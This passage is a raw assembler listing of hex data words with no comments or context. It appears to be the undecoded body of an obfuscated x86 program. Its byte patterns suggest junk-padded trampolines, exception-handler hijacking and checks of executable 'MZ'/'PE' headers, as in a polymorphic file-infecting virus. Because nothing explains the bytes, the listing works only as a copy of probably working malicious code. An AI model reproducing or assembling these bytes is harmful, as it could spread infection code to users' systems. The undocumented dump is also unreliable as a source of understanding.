		dd 93000000h, 1DA093EFh, 7D2298EDh, 19B1ED0Ch, 0F385CE32h
		dd 0E960310Fh, 9, 0EE3729F7h, 0D2C16E83h, 585A6188h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 653726E5h, 0B85B71C6h, 3DBD8BDCh, 0E907E90Ch, 0Ch, 68F8D660h
		dd 92ADE732h, 0F20BD415h, 2EDD95FFh, 853107E9h,	7E90DC5h
		dd 4F40B58Dh, 6A07EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 1DE411C3h, 0E9520809h, 0Ah, 42E87F2Fh
		dd 0EB669821h, 505F05FFh, 5E9h,	1285F700h, 3489CD8Eh, 50C88B24h
		dd 48B0Fh, 0BF660000h, 48995FFh, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 8FBB1B19h
		dd 958B516Eh, 7E93441h,	8995FF5Fh, 6A07E924h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0FF7C353h, 80FD7E3Dh, 0C00BB7D1h, 11850Fh, 950B0000h
		dd 7E926B1h, 6CEE9h, 0A98D8900h, 0FF07E900h, 8BD78BD0h
		dd 0ED4F69B5h, 20468D07h, 1A098D89h, 46A07E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 2DC35141h, 704B3B96h
		dd 0BD8B5790h, 7E91209h, 0C18D8B59h, 9007E919h,	0FE8h
		dd 0DBA8C600h, 0A4CF4256h, 6B8A3E68h, 0B5876DFDh, 505AAFB5h
		dd 32D183BAh, 6A9032h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 60BBDAC3h, 0BD31C18Bh, 7E90981h
		dd 7995FF61h, 6A07ED4Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0D2B7C355h,	8C44B0EEh
		dd 898220D4h, 0E923D1BDh, 0FC00B07h, 3184h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 34DDD72Ch, 0DA81667Dh, 0DCE9DE1Ch, 66000005h, 0F467C781h
		dd 7E80D68Bh, 840F0020h, 5CBh, 1958D09h, 236007E9h, 0E92A51BDh
		dd 20468D07h, 0BD8BCF8Ah, 7E911C5h, 4F658589h, 0D68007EDh
		dd 1A0E950h, 81660000h,	403B25CFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0B3C35747h,	5790D18Bh, 47FCB966h
		dd 6060505Ah, 14E95E51h, 2F000000h, 0FCA19CC9h,	7344B574h
		dd 0EBF52D3Ah, 0A5486D64h, 6118725Ah, 6A9061h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0BD8058C3h, 92E1F3CBh, 1EEDBD03h, 0FE907E9h,	0E8000000h
		dd 0C83B9DF7h, 99EA43E2h, 0CF012FB7h, 46A02EDh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6EC35646h, 8E9F518Eh
		dd 743D1D70h, 354DBD89h, 0BF5007E9h, 415C29DFh,	89240489h
		dd 0E923418Dh, 7995FF07h, 6A07ED4Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0DC59C355h
		dd 0BF7D27B8h, 0E8923BCFh, 0Ch,	0FF6967E5h, 0C488AE33h
		dd 7FA0E556h, 1BA9BD8Bh, 8B5F07E9h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0E311BDFh
		dd 7C3B613Ch, 0F6087E7h, 68Bh, 15858900h, 0E807E91Ch, 11h
		dd 363211B2h, 0B4A1645Fh, 0F21C370h, 0F104ECC7h, 12E97Bh
		dd 91670000h, 307695Fh,	2AB32DA0h, 0F322BE63h, 9101192Eh
		dd 0AE9615Bh, 8C000000h, 958F48B7h, 2C52CF0h, 830F5835h
		dd 6, 830Fh, 0DB0B0000h, 14840Fh, 8B660000h, 411E9D3h
		dd 8C0F0000h, 6, 195D9523h, 388007E9h, 5C850F00h, 6AFFFFFEh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8B7BC351h, 7E9D3h, 0B70F0000h, 8B6648F8h
		dd 65853BD6h, 0F07ED4Fh, 6182h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 3880F008h
		dd 3B840F5Ch, 0F000000h, 3880FEB7h, 0BE850F2Fh,	0E8FFFFFFh
		dd 12h,	0B06FB12Bh, 0BAB73E5Fh,	0C121FD57h, 685D3A03h
		dd 7E8AF61h, 9B000000h,	0D4142C8h, 0B966D53Eh, 5959D2FBh
		dd 1F51BD09h, 294007E9h, 0E90C518Dh, 6DBD8307h,	7ED4Fh
		dd 11B840Fh, 8D890000h,	7E914F1h, 8B665050h, 48959D7h
		dd 3FB8B24h, 0ED4F6D85h, 219D3107h, 5007E909h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0B293C357h, 183F79Eh, 853159DBh, 7E91A61h
		dd 950B046Ah, 7E924C1h,	89F88B50h, 0BD8B2404h, 7E911C1h
		dd 4F7995FFh, 6A07EDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD3165C3h, 7E925ADh, 9218589h
		dd 958907E9h, 7E91661h,	96B9D88Bh, 587F2EEFh, 0DB0BC88Bh
		dd 1D840Fh, 8B0F0000h, 5, 83D18166h, 29DE968h, 8E90000h
		dd 45000000h, 0C185C4CDh, 0C6C9D53Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F609EC3h, 8E0FF7B7h, 2, 8961E58Ah, 0E91D6D85h, 6A5807h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 3A79F3C3h, 8BD2514Bh, 0E90EA5BDh, 8D0F5007h,	19h, 14E9h
		dd 176D8D00h, 29582B5Eh, 73D21AE2h, 4DAB9388h, 7CDBDEA9h
		dd 24048907h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	2DC35242h, 719529C8h, 0B907E915h, 440F762Dh, 0B5891E6Ah
		dd 7E91509h, 0F8B25750h, 24048959h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 47C35545h, 0CE9FEh,	454F0000h
		dd 0CAAF6311h, 37E17E59h, 95FF8A36h, 7ED4F79h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 62C35242h, 6AD88BF5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0F31AC350h, 0D381A906h, 958BDF0Ah, 7E92A09h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0F95373F5h, 0FDB0B59h, 3084h, 131E900h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0D10209C3h, 7ECD87F5h, 0A595890Dh, 0B107E911h
		dd 0AE990DDh, 0A7000000h, 597134F1h, 0F525FFCBh, 0CE8B5073h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 2EF45E76h, 28379394h, 4F59B5FFh,	6A07EDh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 36B2F5C3h
		dd 2B099509h, 95FF07E9h, 7ED4F5Dh, 0C00BCF8Bh, 22850Fh
		dd 81660000h, 61B64CE1h, 0E7816651h, 0C7596A4Ch, 0ED4F6185h
		dd 107h, 0D1B70F00h, 76E9h, 0D78B6600h,	82E18161h, 81719E43h
		dd 11CC6h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0BE351818h, 0DBB70F60h, 0C9958B60h
		dd 0BF07E921h, 621C890Dh, 72E96161h, 6AFFFFF9h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 1B9DC356h, 8F45F5FFh, 12819D89h, 0B96607E9h,	67BF5295h
		dd 68535037h, 76B232CFh, 3481F98Bh, 0B2B2CF24h,	2032BA76h
		dd 6A0C18h, 248D9D89h, 0B5FF07E9h, 7ED4F69h, 1D01BD8Bh
		dd 95FF07E9h, 7E90145h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 31C35545h, 872EA52h, 61858B49h, 6A07ED4Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0BE18C356h, 3AAA6B09h, 39A0CF9Eh,	2F799D31h
		dd 958907E9h, 7E93009h,	8A605390h, 505961E5h, 8B904AB2h
		dd 0E91AC18Dh, 71858D07h, 6A07ED4Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C8D2C356h
		dd 0CA80EB93h, 0BF669033h, 6650ED4Dh, 2B90CE8Bh, 0E91DF98Dh
		dd 2E858D07h, 6A07ED4Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0C5E9C351h,	8E0F57FDh
		dd 8, 28D0Fh, 90B50000h, 0D8D0360h, 3107E90Fh, 0E91D7595h
		dd 57506107h, 0A0CC72BAh, 4895903h, 0F5BD2B24h,	0FF07E91Ch
		dd 0E907FD95h, 68E0F07h, 8B000000h, 0E900D5BDh,	66C08B07h
		dd 83B062BAh, 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h
		dd 8B535013h, 4D0B8C0h,	9D8D0000h, 7EBD609h, 585BD3FFh
		dd 1A45BD83h, 740007E9h, 0B8535011h, 4D0h, 0D5089D8Dh
		dd 0D3FF07EBh, 8166585Bh, 6A5F8AC2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F0F4C355h
		dd 3F8968B5h, 0D3B70F2Dh, 8D8BC08Bh, 7E91C41h, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0D08B57BDh, 8C259h, 14E9h, 0E0A6E600h, 5277BE5Eh, 75664AE0h
		dd 0E36325A5h, 0B3D3F837h, 6AC08BF0h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8999C355h
		dd 0E9197995h, 0AA858D07h, 8107ED4Fh, 165979D7h, 19858916h
		dd 0BA07E913h, 0F0115000h, 0EA81h, 0C283F000h, 91958914h
		dd 8307E900h, 858D14EAh, 7ED6247h, 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0D8589C8h, 307E912h,	0B70F3C40h, 95890650h, 7E92575h
		dd 8950508Bh, 0E90CE195h, 0F80507h, 508B0000h, 89D1030Ch
		dd 0E91BAD95h, 8500307h, 2CC99589h, 8F6407E9h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 2EB5BD83h, 0F0007E9h, 2484h,	5985C600h, 4707E926h, 9AA7D268h
		dd 11B5FFD4h, 8D07E90Bh, 0EC9FDB85h, 6AD0FF07h,	89D0FF00h
		dd 0E9192185h, 60D38B07h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0DF7D07C3h, 8344E773h
		dd 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h, 8B535019h
		dd 438B8C0h, 85890000h,	7E911F9h, 0D7CE9D8Dh, 0D3FF07EBh
		dd 0BD83585Bh, 7E91A45h, 50177400h, 438B853h, 85890000h
		dd 7E911F9h, 0D4BD9D8Dh, 0D3FF07EBh, 960585Bh, 0E91C8D95h
		dd 3BE9BF07h, 6A611A97h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0F92C353h, 411DECAEh
		dd 6870Fh, 0B58B0000h, 7E90E35h, 0C820Fh, 820F0000h, 6
		dd 0B4DB509h, 0C08B07E9h, 1E19B58Bh, 0C8E807E9h, 6A000008h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0C4CC355h, 20466332h, 1FF58589h, 0BD8B07E9h
		dd 7E91709h, 896E8h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 70E46E1Ch, 0A32E1D13h
		dd 0EF8A37BBh, 245D8589h, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0E28CCAC3h, 10E84EDFh
		dd 6F000000h, 63943E6Ah, 9EF59E80h, 0A1EFF150h,	5903B74Dh
		dd 9FD18166h, 1952948h,	0E807E919h, 823h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 0CFC35040h, 0F7FE9983h
		dd 56E68163h, 297DC2FDh, 0E90E359Dh, 79858907h,	6A07E929h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0A4B5C355h, 4C12631Eh, 0CE9FC23h,	7000000h
		dd 4B0675A1h, 43BB4F5Dh, 0E879B14Dh, 7B7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 68C35646h, 56D0046Dh
		dd 0FF0E3259h, 0E1B5330Eh, 8907E911h, 0E9204585h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0E92FEFDFh, 762E8h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8B346005h, 89CA8BF1h
		dd 0E929A585h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 833B8EB8h, 0A74A23A5h
		dd 0BD8B1A6Ch, 7E922ADh, 70AE8h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 5FB7498Bh
		dd 99CD587Fh, 58589D0h,	6A07E91Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B30BC356h
		dd 0EF6CCAC8h, 7A780AF2h, 88C0Fh, 89530000h, 0E91BD98Dh
		dd 0A8E85F07h, 6A000006h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 2334C356h, 0F02E184Bh
		dd 161B589h, 858907E9h,	7E91F55h, 8E8h,	0FA0D4500h, 873B824Dh
		dd 0A5B96663h, 64E85E84h, 31000006h, 0E90F7D9Dh, 0D1858907h
		dd 6A07E912h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0A67BC357h, 0D77233A3h, 61476893h
		dd 17F98D31h, 28E807E9h, 6A000006h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0B939C356h
		dd 3CDCFD68h, 0C362BE66h, 68B0Fh, 8B0F0000h, 0
		dd 0E1D8589h, 44BF07E9h, 0E843A604h, 5E7h, 6FD8D8Bh, 858907E9h
		dd 7E9170Dh, 2CD1BD29h,	0D0E807E9h, 6A000005h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 68A3C351h, 9E96737h,	2C000000h, 0FB0F25B9h, 0F57536A8h
		dd 31518589h, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0AE9BC8C3h, 0E980E000h, 575E84Fh
		dd 12E90000h, 0FB000000h, 41CB3B16h, 6E5D3874h,	0BE23F9FBh
		dd 293429E2h, 118589A6h, 6A07E90Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 9EC5C357h
		dd 0CD8426E0h, 29D0F20Dh, 0E92A29BDh, 529E807h,	9D890000h
		dd 7E90971h, 1A898589h,	8D8B07E9h, 7E93041h, 512E8h, 3AB96600h
		dd 8589F597h, 7E91735h,	0C8DF8166h, 4FDE84Eh, 5E90000h
		dd 52000000h, 0D342DD3h, 18E1B589h, 858907E9h, 7E92C6Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E6C35141h
		dd 9DB529C6h, 8B07E916h, 0E91255B5h, 4B9E807h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0A998AAC3h, 52F60973h, 89774429h, 0E9227985h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 37BFF599h, 100B0B4h,	0E9115DBDh, 0B5B58B07h,	0F07E929h
		dd 8F0FD8B6h, 6, 2DCDBD8Bh, 6BA07E9h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 3F91C356h, 3219589h,	0C38B07E9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 6AC35545h, 0C65F885Fh, 0DD5CF6ABh
		dd 0C1F7B70Fh, 0BD8B04E8h, 7E923DDh, 6AE2F766h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 9E57C355h, 0C81AE002h, 2713922Bh, 13458D8Bh,	0B53107E9h
		dd 7E91D0Dh, 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 29E42DC3h, 0F74C436h, 9D09F8BFh
		dd 7E9156Dh, 860F93h, 50000000h, 0FFC88B93h, 0E9005995h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BF663456h, 0BD8B4FE3h, 7E92FB5h, 55006A5Bh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0EFA5B75Fh, 54988F15h, 0F70BD9BFh, 21958D63h, 6A07E917h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 60C8C351h, 8D8BB3B3h, 7E92F85h, 0D9BD8B61h
		dd 8907E91Ah, 55006A1Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0B589E7BFh, 7E914E5h, 1275B523h
		dd 428907E9h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8D81B3F2h, 0E9098995h, 1800F07h
		dd 0F9000000h, 0B1A89FCh, 0E934418Dh, 4428907h,	0FE9h
		dd 13D93700h, 0BD3F19D4h, 318C0FE0h, 0D03B45D9h, 2119958Dh
		dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 8CC815C3h, 0EE98531h, 1A8907E9h, 21C5E781h
		dd 42890017h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 3B80E621h, 18840F8Dh, 0E9000000h
		dd 13h,	8FC45F56h, 1B8ED8D1h, 507625B6h, 95EB6459h, 8B030DC4h
		dd 0E90FDDBDh, 4DB58907h, 8D07E901h, 0E91DF195h, 0FC576007h
		dd 0FFF0815Fh, 6167AF3Ch, 1A89F98Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 2DC35040h, 66E59592h, 0DB16D781h
		dd 8B044289h, 19958DFAh, 6A07E931h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 9FF6C355h
		dd 7F04421Dh, 3DB58B57h, 8907E91Dh, 52006A1Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 42897D63h
		dd 0F5BD8B04h, 8D07E917h, 0E92DE195h, 1A89F807h, 89F6B70Fh
		dd 0F9600442h, 0BE9h, 937F6000h, 784DE870h, 0CFA2ADF7h
		dd 0C9958D61h, 6A07E917h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 6B97C353h, 597D15BFh
		dd 6A1A894Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 1F91C355h, 22499CF1h, 5E90984h
		dd 0A4000000h, 9CD3738Bh, 6A044289h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 9E59C351h
		dd 8DF88BACh, 0E9085195h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 593D6004h
		dd 0FE8B5CFh, 8000000h,	6884A3D1h, 0E5F59F1Eh, 9274334Dh
		dd 7E90EB6h, 2D000000h,	82E6038Dh, 895FD626h, 57006A1Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 5DB58BC3h, 8907E935h, 6A0442h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0F8C6DC3h, 0F55D0978h
		dd 0F60C59Bh, 689h, 8F0F00h, 61000000h,	0E9F28B66h, 0Eh
		dd 2D9A06C2h, 0B2993FD5h, 0F20C8C7Ch, 0D7E9B3B9h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 10F9C355h, 6A3DFD3Bh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B58BEB2Ah
		dd 7E919B1h, 9D09006Ah,	7E90F91h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 36965EC3h
		dd 0CF8B94DBh, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0BE4649C3h, 73687FAFh, 6820Fh, 9D890000h
		dd 7E90B05h, 5F43BF66h,	1D7995FFh, 0F78B07E9h, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0E963CB4Dh, 0B1AE7ABDh, 0F35B58Bh, 0C58A07E9h, 8BF78B66h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BD83931Ah, 7E918A5h, 83097500h,	0E91A45BDh
		dd 19740007h, 0C08B5350h, 438B8h, 0F5858900h, 8D07E920h
		dd 0EBD8359Dh, 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h
		dd 438B8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh, 5BD3FF07h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 60919B61h, 61DA8B66h, 0ABF18166h, 8DC08B9Fh
		dd 0E9086185h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 66C935Bh, 0D781669Ch
		dd 8B90C09Fh, 0CE950FEh, 0AF000000h, 773258CEh,	21F919B6h
		dd 905031E5h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	0A4C35646h, 316BAE54h, 3865897Eh, 65BD8B44h, 907E923h
		dd 0E9204DB5h, 6A006A07h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 137C352h, 0E91E15B5h
		dd 6A006A07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 9714C355h, 374640CCh
		dd 0F165285h, 128Bh, 0DE900h, 0D3BD0000h, 7BA58BA6h, 0D2A77098h
		dd 810F4C3Eh, 517029EFh, 0B9858D36h, 107ED6Fh, 0E903219Dh
		dd 5C08307h, 0FFE8B66h,	68Fh, 0D9D8B00h, 5007E900h, 489DD8Ah
		dd 6A006A24h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 7C73C350h, 8CB5ACFFh, 0E95231F7h
		dd 0Bh,	3462C8BBh, 0B310A1E8h, 6A76D73Fh, 4D8D0900h, 8B07E92Dh
		dd 0B995FFF9h, 6A07E90Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 1A75C350h, 18F38166h
		dd 2C8D8D42h, 6A07ECD7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0AAE0C355h,	82C72541h
		dd 41BD09FDh, 0FF07E90Fh, 37B5BFD1h, 5F510C55h,	1B69BD83h
		dd 0F0107E9h, 0A285h, 0EDBD2300h, 6A07E919h, 52006A02h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0BBB931ECh, 55B1519Bh, 0FB8B6690h, 0BB525050h, 961CAF8h
		dd 585A310Fh, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 4D4C64DCh, 4ABB6D34h, 0FF009AD6h
		dd 0E902CD95h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 30D11746h, 0E9E18CDFh
		dd 13h,	1C379765h, 60CE67A4h, 0A5E7BA67h, 0EB821D5Fh, 0E989967Bh
		dd 0CB8h, 0E8h,	0ED815D00h, 7ED6FC3h, 0DA8454BBh, 0C3816629h
		dd 6E82BE2h, 0BE000000h, 705974B0h, 499D29FEh, 5B07E915h
		dd 0B406858Dh, 958907ECh, 7E902E1h, 6E850h, 9AF60000h
		dd 0B4A45B3Dh, 6E8h, 0B1DB5900h, 8BF3C53Fh, 895F5BDFh
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B5C3E4C3h, 0AD8D89B9h, 6407E918h, 35FFh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 9A5350C3h, 64A1CB80h, 2589h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 615DDDC3h, 6FBFC48Ah, 0FF383925h, 0E90F9D85h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 36C690C5h, 8964958Bh, 0E930BD95h, 12810F07h,	0E9000000h
		dd 0Dh,	0BD657C81h, 0BDA8689Eh,	96F7BB63h, 23FF6AADh, 0E90C919Dh
		dd 0FB8B6607h, 1FF5B5FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0A7559CC3h, 0FFB97EE1h
		dd 0E9233D95h, 109E907h, 9D8B0000h, 7E91B29h, 0BF6600B0h
		dd 70E6C1DBh, 2971E4FCh, 0E9055D9Dh, 0F613C07h,	0EA83h
		dd 0FDA8A00h, 0BAF8C8B6h, 6, 1E01BD09h,	0BD8B07E9h, 7E90CE5h
		dd 9D8BC18Bh, 7E91D31h,	6604E8C1h, 0D381D98Bh, 4EB25DF3h
		dd 0FE2F766h, 1B83h, 14E800h, 0DF7E0000h, 0ADC1230Ah, 0A458C0FCh
		dd 3C87EE53h, 56B9AF28h, 5FF5CB80h, 8B66C82Bh, 60D18BFBh
		dd 61C78BF8h, 1D85B531h, 4E907E9h, 66000000h, 8BAA1EBFh
		dd 0E9172185h, 1282BB07h, 0C78154DAh, 68F04551h, 0BF07C083h
		dd 5773F719h, 0E900C083h, 6, 0D3994E9Fh, 0DB80AA42h, 0FD03B8Ah
		dd 2083h, 0B59D3100h, 0E907E908h, 8, 1210DA6Ah,	671BA56Bh
		dd 36E9h, 0BD895700h, 7E91619h,	198D8B5Fh, 0F07E920h, 0E183F9B7h
		dd 1C840F01h, 66000000h, 83719FBBh, 0E92019A5h,	8B66FE07h
		dd 219589DEh, 0F07E917h, 0E9FEBFh, 8D000000h, 0ECEFBFB5h
		dd 95296007h, 7E92539h,	68C0Fh,	0EF810000h, 78575CA8h
		dd 6A006A61h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0BDECC356h, 0D9BC0D1Fh, 3195FF9Ah
		dd 8907E90Ch, 0E90C3D9Dh, 6A0B907h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 30F498C3h
		dd 504C078h, 0A4BB66D0h, 0FCE183A2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 96C35242h, 8BCF358Bh, 0E90F999Dh
		dd 11E8FC07h, 0F000000h, 150E8828h, 4D246358h, 558560FCh
		dd 0D9E3ED16h, 3BE9E781h, 0B85B25A4h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 27C35040h
		dd 0D22B2F9Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	6DC35646h, 0AD89FFBFh, 0E8D1C233h, 0E983D003h
		dd 60F47504h, 0BCCB8166h, 59C680ABh, 56006A61h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0F849A22Fh
		dd 89192165h, 0E9220595h, 880D07h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3D8287C3h
